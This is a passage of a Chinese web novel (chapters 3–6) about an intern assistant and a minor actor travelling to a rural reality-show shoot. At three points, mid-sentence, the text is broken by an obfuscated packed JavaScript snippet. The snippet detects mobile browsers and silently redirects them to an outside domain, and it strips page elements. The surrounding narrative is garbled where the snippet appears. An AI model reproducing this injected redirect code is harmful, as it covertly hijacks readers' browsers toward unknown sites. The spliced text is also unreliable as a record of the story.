《叶幸司,给我火》 3. 第 3 章 叶幸司已经开录了,俞悄也不知道自己该干点什么。 他不敢进去,怕影响镜头,急得在房间门口团团转。 工作人员以为他是来看热闹的路人,过来撵他:“不好意思拍摄节目,请您先离开。” 俞悄更不好意思,忙表明身份:“我是叶幸司的助理。” “哎哟我,你刚起啊?” 一个戴小帽的年轻男生从屋里挤出来,瞪着俞悄,满脸的不可置信。 俞悄通过他挂着的工作牌,认出这就是和他对接的小李,一阵道歉:“不好意思,手机忘调闹钟了。” “真有你的,电话不接消息不回,我都找到纪姐那去了……哎行了别傻站着了,王哥!王哥?” 小李说话跟蹦豆儿似的,语速快得直喷沫子。 他喊了个摄像师过来,又冲一个女生指指俞悄:“助理来了,抓紧录吧。” 小李雷厉风行的安排完,又挤回房间里了。 俞悄和王哥的摄像筒大眼瞪小眼,看看女生的工作牌,姓赵,是位编导。 “赵老师,”俞悄也不知道怎么称呼,“我要录什么?” “不用不用!”赵老师看着比他还紧张,“喊我小赵就可以了。咱们录前采。” “啊,对。”俞悄点点头。 昨天小李给他发流程了,差点儿忘了他也是得上镜头的。 “那我能先回去洗漱吗?”他不好意思的笑笑,“起晚了。” “行,没问题。”小赵也乐了,“就是去您房间里。” 不知道是《塌房》的节目形式就很简单,还是对助理的采访不用那么细致——俞悄以为他也得跟叶幸司一样,坐那儿正正式式的接受采访,还在懊悔昨晚没洗头,结果小赵在他回房间的路上就开始提问了。 “做叶幸司的助理多久了?” 这是第一个问题。 “这是要放在节目里的吗?就开始了?”俞悄停下来看看镜头,不知道该不该说实话。 想想,他决定反正不能说假话。 现在的观众都不是闹着玩的,不管新人旧人,只要出现在公共视野,穿过什么裤衩都被扒得一干二净。 “不到一天,我是实习的。” “不用停,你就该做什么做什么,”小赵提醒他,“就那种生活中闲聊的感觉就好。” 俞悄于是进卫生间去洗漱,小赵举个袖珍小话筒跟着拍他。 “是第一天给叶幸司做助理吗,之前有没有接触过?” “没有。”俞悄说。 “觉得和他相处起来怎么样?”小赵问。 也没相处上啊。 “他挺……尊重粉丝的吧?”俞悄想起昨天和叶幸司的初遇,还是觉得好笑。 “我俩是在电梯里见的第一面,当时他以为我是他私生粉,上来就拿我手机跟他自己拍了个合影。” “照片有吗?”小赵挺感兴趣。 “有。”俞悄翻出来给她看。 “这个好。”小赵让镜头拍了一下,把手机还给俞悄,“原图发给我吧。” 后面她又提了几个问题,全都围绕着叶幸司展开。 俞悄中规中矩的回答,怕自己上镜不好看,等小赵录完出去,偷摸往脸上抹了层素颜霜。 正想着要不要抓个头发,微信上弹出叶幸司的消息:? 俞悄条件反射,也回了个问号:? 叶幸司:你别过来了。 有病? 俞悄刚要一头雾水,接着迅速反应过来,这应该是催他快点的意思。 按照流程,俞悄和叶幸司各自前采完,还得一起录一段采访。 然后才开始正式进入《塌房》的录制。 俞悄连忙收拾完自己赶过去,叶幸司那边已经结束了,但满屋子的阵仗还没撤,正在中场休息。 “开始了吗?”他过去轻声问。 叶幸司坐在他房间的沙发上,右腿叠着左腿,手腕落在膝盖上,攥着手机打字。 听见俞悄做贼似的动静,他抬起下巴看了眼俞悄,眼底透出无语。 又不说话。 俞悄现在也明白这位二十八线的臭毛病了,不说话就不问。 他这会儿脑子清醒了,社交意识也苏醒了,先去跟导演打招呼,然后找小李对对接下来的流程,看见别人在喝水,叶幸司还自己坐在沙发上不知道生什么闷气,就拧了瓶矿泉水给他递过去。 叶幸司这倒是接了,抿了两口,把瓶子递回给俞悄。 “准备一下,开始吧。”导演开始喊工作人员就位。 叶幸司刚还一副半死不拉活的样子,镜头一开,他立马换了个人一样,二郎腿也放下了,腰背也直挺了,连眼神都变得有魅力了。 还很顺手的把手机也给俞悄。 俞悄接过来揣自己兜里,悟了:助理就是贴身保姆。 “咱们接下来的行程,二位知道了吗?”导演开始对话。 “知道。” “不知道。” 俞悄和叶幸司同时开口。 节目组都笑了。 叶幸司扭头盯着俞悄,受不了的眼神又出现了。 “我该说知道还是不知道?”俞悄有点懵。 叶幸司都不乐意看他。 小赵在对面拢着嘴提示:“你先说不知道!” “啊,那我不知道。”俞悄改口。 导演继续进话题:“现在要去和其他嘉宾会和,目的地在一个美丽的小乡村。” 后面的工作人员递上来一个信封,导演接过来:“这是你们的任务。” “还有任务呢?”俞悄有点惊奇。 他欠身接过信封,掏出印着节目组logo的信纸,叶幸司转转脖子跟他一起看。 “读出来。”节目组小声提醒。 俞悄清清嗓子:“想办法到达目的地——” 信纸上写的地名,俞悄连听都没听过。 节目组不送他们过去,需要嘉宾带着助理自行前往。 是坐飞机坐船还是私人交通工具,哪怕走着去,节目组都不会提供任何帮助。 连行李都不帮运。 “十点出发,还剩四十分钟,两位现在可以开始制定出行计划了。”导演说,“最晚到达目的地的组合,要接受惩罚。” 正对着镜头接受采访时,俞悄不免在意形象,说话表情多少掺点儿虚伪。 现在真要办事儿了,他很快就虚伪不下去,彻底进入一种暴露真我的状态。 因为叶幸司甩手装大牌,什么都不管。 不管就算了,他还净找茬儿。 ——按照正常的逻辑,既然到达最晚的要接受惩罚,优先考虑出行速度的话,俞悄的第一反应就是去看机票。 “这个地方没有机场,落地我们得选在隔壁市,然后坐高铁就能……” 他迅速制定了大概的出行路线,还没跟叶幸司讲解完,就被直接推翻。 叶幸司:“不坐。” 俞悄抬眼瞅他:“不坐高铁?应该没人能认出你来吧?” 叶幸司脸一黑。 “那包个车。”俞悄改变策略,“直接到拍摄地,也省得出了高铁站再打车。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760812|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不。”叶幸司说。 “你想咋的!” “没钱。” 叶幸司的回答十分坦荡,坦荡过了头,配合着他精致的面孔与时髦的穿搭,简直像是在故意刁难人。 他们的跟随导演憋不住笑,摄像机在肩膀上闷着抖了好几下。 如果不是昨天亲眼见了叶幸司拎方便面的窘态,俞悄都想给他一拳。 他脱口想说公司会报销,又拿不准叶幸司的咖位,三餐之上的花销纪繁西管不管。 “是的,我们的咖位确实在收入上比较紧张。” 俞悄冲镜头尴尬笑笑:“我给公司打个电话争取一下。” 他跑到走廊上给纪繁西拨电话,那边不知道在忙什么,背景音乱糟糟的。 纪繁西接起电话先骂了俞悄两句,让他以后睡觉不许给手机关静音。 骂完她也没听俞悄多说,扯到钱的事她就“啧”一声:“不是说了吗报销,以后这种事不要问我。” 俞悄刚要挂电话,纪繁西想到什么,又喊他:“等一下!” “什么?”俞悄把手机贴回耳边。 “最后到的有惩罚?” “对啊。” “不报销。”纪繁西的态度转了个大弯。 俞悄一愣。 “你也不许自掏腰包,”纪繁西像个恶毒的后妈,“就按他的经济状况走。” “为什么啊?” “节目效果啊,怎么教你的。”纪繁西说,“脑子活泛点儿,傻孩子。” 俞悄又悟了。 这回是大彻大悟。 他收起手机回房间,镜头跟上来捕捉他的反应,俞悄遗憾摇头:“不给。” 叶幸司一副早就料到的表情,耷拉着眼睫毛,嘴角轻轻扯了下。 没经费,飞机真就坐不起了。 两个人在镜头底下讨价还价半天,最后俞悄自己补了五十,把路费标准定在八百以内。 再低真得去坐大巴了,两个人三件行李,转四趟车还得步行,俞悄受不了那个折腾。 最终,他们的出行方式敲定为火车转短途客运。 叶幸司那两大箱行李一早就收拾好了。 俞悄回房间拿自己的行李箱,到了大厅办退房,叶幸司脸上卡着副大墨镜,无比自然的把箱子推给俞悄。 俞悄看他这理直气壮的架势,忍不住问:“你手断了?” 咖位不大,谱儿摆得是真到位啊。 叶幸司隔着墨镜跟俞悄对视,一手闲闲的搭着腰,另一只手竖起中指扒扒墨镜横梁,露出半只黑眼仁儿。 “要不我给你当助理,你给我发工资吧。”他微微前倾,盯着俞悄,“俞老师?” 俞悄还是第一次感受到“颜值暴力”。 他说不出反驳的话,自己这职业定位确实就像个黑工,只好闭上嘴,一脸忿忿地将箱子拽过来。 走到酒店门口,他反应过来:“不对啊,我工资也不是你付,我姨……公司给啊。” 叶幸司假装没听见,又摸了张黑口罩出来,将整张脸捂得严严实实。 然后到火车站,他把墨镜摘了。 站台候车,他把口罩给摘了。 等俞悄拖着两个箱子,背着个包,费劲巴力的检完票上车,把两人的行李都搬上行李架,终于坐下来喘口气时,发现叶幸司已经摆出最好看的角度,将大半张侧脸暴露向还在不断上人的车厢口。 一副时刻准备好被粉丝发现的样子。 ……真他妈服了。 俞悄痛苦地捂住脸。 死男的,一点儿深沉都没有。 4. 第 4 章 伴随着火车启动的隆响,乘客都窝在各自的座椅里,看剧的看剧,唠嗑的唠嗑,整节车厢吵闹又平常。 摆了半天造型的叶幸司,像车厢门上“禁止喧哗”的标语一样,无人在意。 “失望吗。” 俞悄掏出耳机往耳朵里塞,极力压抑自己口吻里的揶揄。 叶幸司斜过眼仁儿瞥他。 “你在期待什么?”俞悄真诚地望回去。 如果说之前的俞悄,对于娱乐圈明星还有些许滤镜,对自己陌生的行业还抱有一丝敬畏之心;那么在认识叶幸司后,这些滤镜就如同夏天汽水瓶子上的冷霜,已经丝丝缕缕的开始飘散了。 怎么会有人想火想得这么不加掩饰啊? 又想起电梯里那张自拍,俞悄使劲垂下脑袋憋笑,怕叶幸司一时恼怒给他两拳。 叶幸司扫过俞悄乐弯了的眼睛嘴角,倒是并没有露出尴尬或不自在的神情。 他找个舒服的姿势,靠在座椅里回了几条消息,然后手肘一横,捣一下俞悄:“把我的平板拿出来。” “什么?”俞悄拿下一只耳机。 “黑色行李箱里。”叶幸司好像以为俞悄不懂平板是什么,“iPad。” 叶幸司的行李箱是巨大款,推着走跟推个洗衣机似的,俞悄刚把它俩搬上行李架,差点被砸死,现在胳膊还泛酸。 “故意的吧你。”俞悄不乐意动,“刚怎么不说。” “我有用。”叶幸司理直气壮。 “你能有什么工作还得专门用平板展开,看剧在手机上刷刷得了。” 叶幸司眼底开始透出不耐烦,微微蹙了下眉,问俞悄:“你干别的工作话也这么多?” 俞悄被怼到七寸上,无话可说。 和叶幸司对视两秒,他猛地起身,却没去拽行李箱,而是把自己的背包拿了下来,掏出自己的平板甩进叶幸司怀里。 “密码三个6三个8。” 俞悄脾气上来了,一眼都不想多瞅叶幸司。 他重新戴上耳机,把音乐音量调到最高,闭眼往座椅里一歪。 “爱用不用。” 一大早折腾到现在,俞悄确实累了。 他的本意是隔绝一会儿叶幸司的无理要求,结果在摇摇晃晃的车身里,直接把自己给隔绝睡着了。 微信视频来电的铃声猛地响起,给他活活炸了个激灵。 俞悄腿一抽,手机差点没攥住扔出去。他眯瞪着眼,坐直身子看来电人,是他妹妹俞小雨。 刚一接通,画面还没缓冲过来,俞小雨声嘶力竭的喊声先直冲天灵盖:“俞!悄!” “哎,别喊。”俞悄差点被她一嗓子送走,皱着脸连按音量键,“炸耳朵。” “你真去给小姨做助理了啊?”俞小雨兴奋又悲愤,“怎么不让我去啊?这么好的机会,气死我了!” “你去什么去再过五天高考了,神经病吧?”俞悄瞪她。 挺大个人了,被爸妈惯的,一天天头脑简单没轻没重。 追星追魔怔了。 俞小雨屏蔽“高考”这俩字儿,在屏幕那头又蹦又跳,自顾自提问:“那你见到我老公了吗?帮我要签名照啊哥!” “不知道。你老公太多了。”俞悄说。 “那你见谁了?”俞小雨连报一串名字,“都没见到吗?” 俞悄想想,把手机冲叶幸司的方向歪了歪:“这个。” 叶幸司把俞悄的平板搁在小桌板上,正在看视频,胳膊肘杵着座椅扶手,手背撑着腮帮子,懒洋洋的。 觉察到俞悄的动作,他朝这边望了眼。 俞悄怕他以为自己要火了,镜头扫了一下就把手机收回去。 就这么个一晃而过的镜头,俞小雨竟然发出惊呼:“妈呀!” “你认识?”俞悄问。 “好帅!”俞小雨激动得两眼冒光,“这是谁?我姨签的新人?” 俞悄压着笑意,装模作样地清清嗓子:“这是未来的天王巨星。” 巨不巨星不知道,天王的派头反正已经是很足了。 陪着俞小雨东拉西扯了会儿,叶幸司在座椅底下踢了脚俞悄的鞋,说:“没电了。” 他说的是俞悄的平板。 俞悄没再管俞小雨的鬼叫,挂掉视频,探头去看平板。 电量确实濒危,还剩10%。 他去背包翻充电线,弯腰摸了一圈,发现火车座椅没有充电插口。 “我记得小时候坐这种火车,在乘务员休息室能充电。”俞悄把充电器递过去,“你抱着去边看边充?” “算了。”叶幸司说,“收起来吧。” 俞悄把平板拿过来,想去车厢前找找充电口,他这时候才注意叶幸司在看什么视频。 “那些令人狠狠共情的神演技……” 观看记录一长串,全是演技相关的剪辑。 男女中外,什么类型都有。 俞悄面色古怪地看向叶幸司。 叶幸司捏捏脖子,假装自己已经很疲惫了,扭头看向窗外。 “你不会是,”俞悄都不忍心问,“以为能在这些演技合集里刷到自己的片段吧?” 他又往下滑拉滑拉,发现这堆演技大赏里,还混着一条格格不入的播放记录——叶幸司的“那个被颜值磨平演技的男人”。 以及几个嘲讽演技的对比视频,封面用的都是叶幸司那些浮夸的表演片段。 俞悄本来想阴阳几句,但是话到嘴边,开口问出的却是:“你想当演员啊?” 叶幸司像是觉得他的提问很奇怪,正经八百地回答:“我本来就是演员。” “其实凭你的脸,去当个主播网红什么的,应该比……” 叶幸司生硬地打断他:“两回事。管好你自己。” 八回事也得看看自己是不是当演员的料。 俞悄好心被当驴肝肺,懒得劝,重新把耳机戴回去。 上次这么慢悠悠的坐火车出门,还是俞悄初中的时候,去参加学校组织的夏令营。 其实如果是和有意思的人一起远行,应该也是件挺有意思的事。 偏偏身边是个互相看不顺眼的叶幸司,这半天一宿的旅程,就成了纯粹的遭罪。 而且周行东这几天也淡淡的,发消息三句回一句,朋友圈倒是没少更新,一会儿在沙滩一会儿在餐厅,都是单独的帅照。 俞悄给他点赞,给他评论,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760813|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不互动。 终于到目的地时,俞悄感觉自己脚都肿了。 他迫不及待地拉行李下车,只想赶快到节目组,把叶幸司安顿好,去给周行东打个电话。 叶幸司这会儿倒是比他积极,拉着一个行李箱直奔卫生间,先换了身新衣服。 略修身的无袖白T和水洗牛仔裤,加一双矮腰高帮休闲鞋,叶幸司低着头从卫生间一出来,肩是肩腰是腰,大长腿是视觉效果恨不得两米长。 锁骨链,戒指,耳钉,全都配着衣服换了新的。 还抓了抓头发。 搁在昨天,俞悄看见这样的叶幸司,多少得迷糊一下。 但此刻的他肿着脚坐在行李箱上,只能发出一句麻木的点评:“你包袱是真重。” 叶幸司又把他那骚包大墨镜扣在脸上,像是会有粉丝接车似的。 又转了两辆巴士,终于和《塌房》的人对接上,已经是第二天的下午了。 俞悄谨尊纪繁西的教导,假装惆怅地问小李:“我们不是最后到的吧?” “不是。”小李说。 “啊?”俞悄一愣,僵硬地转悲为喜,“哈哈,太好了,不用接受惩罚了。” 叶幸司的表情差点儿没收住。 小李也算是综艺圈的老人了,还能猜不到他们想靠惩罚多得镜头的意思? 他憋着笑摇摇头:“先去场地吧。” 节目组找了个农家大院做为录制基地,还有模有样的带着他们坐拖拉机进村。 从乡镇到农田土路,俞悄被颠得七荤八素,但他还是第一次来农村,在开阔的天地间望着风吹麦浪,也别有一番滋味,掏手机拍了几张照片发给周行东。 跟随导演在问叶幸司问题:“来过农村吗?” 叶幸司:“小时候跟剧组拍戏时去过。” 跟随导演:“感觉怎么样?” 叶幸司:“可能当时太小了,不太有印象。” 俞悄受不了地转过头:“把你那破墨镜摘了呗。乌漆嘛黑能有什么印象?” 几个工作人员都笑了,叶幸司绷着嘴角跟俞悄对视,把墨镜推到头顶上。 节目组的院子十分显眼,隔着二里地,就能看见院门外乌泱泱的专业装配。 院墙边挤满了看热闹的老乡,还有小孩骑在墙头上的,连村里的狗都在外面转悠,时不时冲着院门汪汪大叫。 小李跟耳麦那边说了几句,摄像车冲着他们的方向开始录摄,俞悄拖着行李下车,叶幸司很虚伪的主动接过自己的两个大箱子。 俞悄嘲弄地“哟”了声。 叶幸司假装没听见,跟摄影组微微鞠躬点了点头,准备进院子。 一只脚还没迈过院门,小李摁着耳麦突然说:“蒋雨池到了。” 叶幸司的拖拉机迅速开走,院外的摄像全部调转镜头,朝路口拍。 “我!们!不!会!是!最!后!到!的!吧——!” 一辆驴车吱吱嘎嘎的出现,板车上一个戴着帽子的男生高高招着手,元气十足地笑着喊。 俞悄和叶幸司被抛在人群外,拖着箱子干瞪眼。 “不是,驴车?”俞悄牙都咬碎了,“咱们拿什么跟人比啊?” 5.第 5 章 当那头驴,头上顶着劳斯莱斯小车标,脖子上挂着收款码,停在镜头前扯着脖子叫唤时,俞悄的心悄悄地死掉了。 纪繁西出的馊主意,白整了。 这两天遭的洋罪,全白受了。 “它叫小劳。”蒋雨池从板车上跳下来,笑着对镜头介绍,“正好在村口遇见这个大叔了,求他送我过来的。” “还有车费呢,车费得给呢。”大叔在旁边很实诚地要钱。 蒋雨池“啊?”一声,顿时满脸不知所措,回头喊她助理:“乐乐姐——” “别姐了,咱们经费可都是有限的,你真是我活爹。” 助理一脸心痛状,跟大叔讨价还价一番,掏手机对着小劳扫码。 “太有节目了。”俞悄学到了,碰碰叶幸司,“以后镜头前我也喊你爹吧。” 叶幸司:“嗯。” 俞悄踩他鞋:“你还嗯上了!” 叶幸司笑着抬抬腿,没跟俞悄闹,也没再看蒋雨池,准备进院子。 蒋雨池是纪繁西公司想捧的两个新人之一,选秀节目出身,是那种很白净秀气的类型。 俞小雨好像还给他投过票,有一阵疯狂往家买周边,不喊老公,喊儿子。 院子里的嘉宾被驴叫吸引出来,一团人也不知道认不认识,都表现出开心热情的样子,互相打招呼。 蒋雨池很谦逊的挨个儿鞠躬喊老师,鞠了一圈看见叶幸司,他“哇”一声,惊喜得有些浮夸,扑过来给了叶幸司一个拥抱。 “叶哥!”蒋雨池一个新人扭头朝众人介绍,“这是我一个公司的前辈,他小时候就和左槊老师搭过戏!” 说完还对叶幸司玩了个梗:“师兄,我从小就看你的电影长大的。” 其他嘉宾们这才注意到叶幸司,纷纷拖着嗓子“哦——”,假装久仰。 叶幸司在蒋雨池抱过来时,不着痕迹地往后撤了一步,也没拍拍人家的肩拥抱回去,表情动作都很疏远。借着和别人打招呼,他跟蒋雨池拉开距离。 画面录得差不多,导演招呼大家进院子。 俞悄拽着箱子走在最后,歪头瞅了叶幸司好几眼。 “看什么。”叶幸司问。 “你还和左槊拍过戏?”俞悄有些诧异。 左槊可是真正的大腕,纯正电影咖,巅峰期连年血洗国内外各大电影节,十六部代表作十二项提名,手握八个影帝,国际影坛开会都得坐第一排。 他的电影俞悄看过不少,想了半天,也没想起哪部戏里出现过叶幸司这么没演技的角色。 叶幸司没解释,难得有这么辉煌的历史,他却好像不咋乐意提,只把墨镜又往上推了些。 小李让叶幸司和蒋雨池把行李箱先搁在屋里,然后嘉宾们出来围桌坐着,开始正式录节目。 院子里的阵仗比院外更大,背阴的院角挤满了工作人员和专业设备,场院中央是个遮阳篷,两条拼在一起的大石桌,桌上摆满瓜果点心,还有两箱冠名商赞助的礼盒。 俞悄看一眼就想笑。 其他节目的赞助商都是些手机饮品护肤品,摆着也不突兀。 这倒霉节目的赞助商是宠物食品,两盒狗粮摆在长桌中间,也亏导演干得出来。 五位艺人五个助理,十张凳子排得满满当当。 俞悄挨着叶幸司在最靠边的位置上坐下,还盯着狗粮偷乐,突然发现余光里,旁边那些座位并没有全都坐满。 ——场务还没打板,两位女明星的助理帮忙喷防晒的喷防晒,拿水杯的拿水杯。 俞悄挺喜欢的那个男演员叫艾浩,似乎很忙,一直在对着手机打字。他的助理也拿着手机在旁边嘀嘀咕咕的,俩人不知在交流什么。 最热闹的还是蒋雨池,他都出来在长桌另一端坐好了,又一拍大腿跑回屋里。 “充电器在哪个箱子里啊?乐乐姐!” 乐乐“哎呀”一声,忙不迭跑回去。 所有助理里,只有俞悄一动不动,屁股焊在椅子上似的,死沉。 叶幸司微微转脸,瞥向俞悄。 俞悄心有所悟,起身朝小李的方向跑过去。 没一会儿,他高高兴兴地回来了,重新一屁股稳坐下来,伸手掰了两根香蕉,又抓了把坚果,放在他和叶幸司面前。 “问了,能吃!”他开心地说。 叶幸司嘴角抿了又抿,闭上眼缓缓呼出口气。 俞悄不是眼里没活儿,也没忘记纪繁西对于“节目效果”的叮咛嘱咐。 他是真饿。 今天一天到现在,他和叶幸司只在早饭各自吃了俩包子。叶幸司做艺人的,对镜头负责,需要身材管理——估摸着也是接不着戏真穷,耐饿。 俞悄不行,前面忙忙叨叨赶路没觉着,这会儿他闲下来对着满桌吃的,只感觉胃里空得五脊六兽。 这会儿给他倒碗狗粮他都愿意炫两口。 见叶幸司靠在椅背上直闭眼,他以为叶幸司是不好意思吃,还很贴心地问:“我喂你?” 俩老爷们儿互相喂吃的,也能带点节目效果吧? 叶幸司眼角忍无可忍的一蹦,从后槽牙里磨出声音来:“吃你的吧。” 等众人该准备的都准备完,全部落座了,导演坐在对面的小遮阳伞下,举起喇叭喊:“刚才的录前准备,我们都拍下来了,也会真实地呈现在正片中。” “啊?”嘉宾们都笑了。 坐在最中间的是那位女星是综艺老咖,艺名卡卡,俞悄上学的时还看过她主持的节目。 卡卡率先引导节目效果,夸张地扶着自己助理大喊:“那完了,这下我耍大牌实锤了。” “你可不耍大牌吗,”艾浩收起手机就跟换了个人格似的,配合着笑道。 “喝个水自己不拿杯子,一会儿要吸管一会儿嫌水凉,把人折腾三四趟。” “没有没有,”卡卡的助理忙解释,“卡卡姐的药得冲泡。” “对,我最近身体有点状况,其实有在吃药。”卡卡正色起来点点头。 下一秒,她转移话题的同时,很灵活的把镜头带到另一位女明星身上:“但是应该谴责不到我头上,白桃刚刚……” “对啊!”白桃立马接住,捂着脸笑,“我还让小果帮我喷防晒。” “还让人蹲着给你喷脚,桃儿你新剧大爆,飘了是吧?”艾浩又递梗。 “哎呀妈,浩哥!”白桃双手合十表示求饶,“咱们换雨池蛐蛐吧。” 蒋雨池做瑟瑟发抖状。 艾浩似乎也不认识蒋雨池,摸了摸脑壳。 “他一个小孩哪有能蛐蛐的。” “那不是这么说的,”卡卡坏笑起来,“凭我驻扎娱乐圈基层多年的经验,新人什么都不用做就会塌。” 众人爆发大笑,俞悄干巴巴地咧咧嘴,不太能理解笑点。 卡卡到底是老综艺人,没忘了照顾叶幸司的镜头。 “就幸司那边最好,”她探头朝这边看,“人家就没折腾助理。” “是。”艾浩点头,“这两位忙着吃呢。” 蒋雨池提到叶幸司就不抖了,把脸埋在胳膊里笑:“我叶哥的黑料可不在这上面。” 俞悄一直以为,自己虽然不算能言善辩,但生活中也不是那种张不开嘴的人。 就算叶幸司这么闷,他该吐槽的时候都能吐槽几句。 可现在真跟这些明星坐在一起,有了“录节目”的真实感,他突然发现自己不会说话了。 不知道接什么,想到这是节目,是要上电视的,也不敢轻易开口。况且身边的正主跟个闷葫芦似的,他总不能喧宾夺主。 于是人家四对聊得热闹,他们俩就像镜头内的工作人员,连话题都介入不进去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766474|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >也不对。 俞悄偷偷瞄了眼叶幸司。 好像只有他自己在状况外。 这位二十八线看起来并没有失落,似乎是纯粹为了完成公司任务,录上节目就行。 有人cue他他也接话,没人cue就帅着张脸默默听,偶尔还能笑一下。 俞悄心里轻轻地松了口气。 导演让五对嘉宾分别介绍完是怎么过来的,就开始兑现出发前的游戏规则。 “最后到达的嘉宾,我们说了,会有惩罚。” 小李拿了个信封,在蒋雨池的崩溃喊声中送过去。 “乐乐姐你拆,”蒋雨池捂着眼睛趴在桌上,喊他的助理,“我没有勇气看。” 卡卡隔着白桃,往蒋雨池肩膀上拍一下,笑着说:“现在没勇气了,坐驴车的时候想什么呢。” “卡老师我们一起挨罚吧?”蒋雨池捞她的胳膊。 “快别带上我。去!”卡卡胳膊一缩,故意虎着嗓子,大家又笑起来。 惩罚的内容听起来也没什么大不了:其他嘉宾都有节目组准备好的房间,被惩罚的人,则要去村子里自己找农家借宿。 “天啊,”白桃怜悯地望着蒋雨池和乐乐,“社恐简直不敢想。” “可以再去找你的小劳了。”艾浩说。 蒋雨池表演了一番追悔莫及,可怜巴巴地问导演:“那我现在去吗?” “晚一点,现在还有任务。”导演又送来一个信封,“这是所有人今晚的任务。” 卡卡把信封接了过去,拆开念内容:“往后五天,每对嘉宾轮流负责所有人的三餐。今晚的晚饭,由倒数第二到达的成员负责……” “我们吗?”俞悄指指自己。 “哎不是,”卡卡把信封一摔,佯装生气,“合着你们是递减制是吧?轮着惩罚?” 导演坐在对面笑,示意卡卡接着读。 白桃戳了戳任务卡:“卡卡卡,后面好像还有字。” 卡卡拿起来看一眼,直接递给叶幸司:“幸司,你自己来念吧。” 叶幸司起身接过,看了眼:“括号,节目组没备菜,需要大家自行去找村民,借菜,括号完。” “叶哥还把括号念出来,”蒋雨池笑得不行,“好土的搞笑方式。” 嘉宾们对于任务内容没太大反应,倒是都被蒋雨池这句吐槽给逗乐了。 叶幸司嘴角翘了下,坐下来将任务卡交给俞悄。 “好,那休息一下,二十分钟后开始吧。” 导演拍拍手,示意大家可以用这二十分钟休息,需要上厕所的上厕所,换衣服的换衣服。 俞悄和叶幸司先去看了节目组安排的房间。 分给他们的卧室在二楼,看着原本像是杂物间,打扫完放了张床,被褥枕头都是新的。 没有独立卫生间,好在有个大窗户,还不算太憋闷。 他往墙上看看,红外录像机也装好了。 “是因为咱们俩都是男的,所以安排一张床吗?”俞悄伸手在摄像机前晃晃,“这个现在开了吗?” 叶幸司没说话,他站在床边抬手脱掉T恤,一手叉腰,另一只手捏着后颈转转脖子,然后扭头看向录像机,做出刚发现有录像的神情,微微一抬眉,把T恤挂在镜头上。 俞悄扭头目击这一套操作,差点崩溃了。 “……你有病?” 他发出濒死的呻吟。 “你的表演有多刻意你自己知道吗?” 叶幸司这一波尬得自己都有点想笑,还绷着脸问俞悄:“怎么了?” “没怎么,我想死。” 俞悄逼着自己接受一切。 “就会闷着骚,录节目的时候不见你多接几句话。” 他嘟嘟囔囔的去掏充电器,刚在行李箱前蹲下,手机响了。 来电人是周行东。 6.第 6 章 俞悄下火车的时候就想给周行东打电话,一直拖到现在。 见周行东主动联系他,俞悄周身的疲累一扫而空,没再管丢人现眼的叶幸司,攥着手机赶紧跑出去接。 院子里还吵吵闹闹,随行导演在准备等会儿各组嘉宾的跟拍,楼上楼下也都是工作人员,俞悄找了个安静的角落接电话。 “想我了?”他开口就问。 周行东那边似乎感觉太久没人接,正准备挂断,声音由远及近地传来,“啊”了声。 “在忙?” “还好,这会儿不忙。”俞悄把窗户推开,趴在窗框上。 “这两天没怎么收到你消息,”周行东笑了下,“外面有人了?” “有,”俞悄嘴角翘得要上天,右小腿也跟着一翘一翘的,“有一堆呢。” 周行东很少主动联系俞悄,以往打电话也都是喊俞悄去玩,约完就挂,从不腻腻歪歪的连麦闲聊。 今天他有些反常,两人说笑几句,俞悄问他打电话有什么事,周行东顿了顿,说:“没事就不能给你打电话?” “平时一天发不完的消息,突然没动静了,查个岗。” “哦。”俞悄抿着嘴乐。 被喜欢的人惦记,当然是件令人愉悦的事。 见院子里忙活得差不多了,俞悄正想抓紧时间说两句骚话,周行东那边突然传来一道男声:“东哥?” “我朋友。”周行东不等俞悄问,解释道,“来找我吃饭。” “好。”俞悄知道他朋友多,“那你去吧,我这边马上也要上工了。” 周行东“嗯”了声,像平时一样,麻溜地挂掉电话。 去微信里又给周行东发了两张表情包,手机只剩一丝电,俞悄心情愉悦地收起手机往回走。 经过楼梯口时,蒋雨池和他的助理乐乐正好上来。 俞悄觉得自己该打个招呼。 他顿顿脚,还在琢磨蒋雨池看着比他小,该喊什么合适,蒋雨池却像没看见他似的,眼皮都没抬,径直从他面前走过去了。 啊? 俞悄愣在原地。 怎么跟变了个人似的? 乐乐跟在蒋雨池身后,倒是主动对他点了下头。 俞悄回以礼貌性的微笑,一头雾水地回房间。 叶幸司换了身衣服,正靠坐在窗台上给手机充电,两条大长腿懒懒地交叠着,左脚踝搭在右小腿上,抱着胳膊偏头朝楼下看。 听见门响,他转头望过来。 “我刚在楼梯口碰到蒋雨池了。” 俞悄推门进来就说。 他走到叶幸司跟前,看眼叶幸司手机的电量,78%,抬手把人线拔了,给自己的手机充。 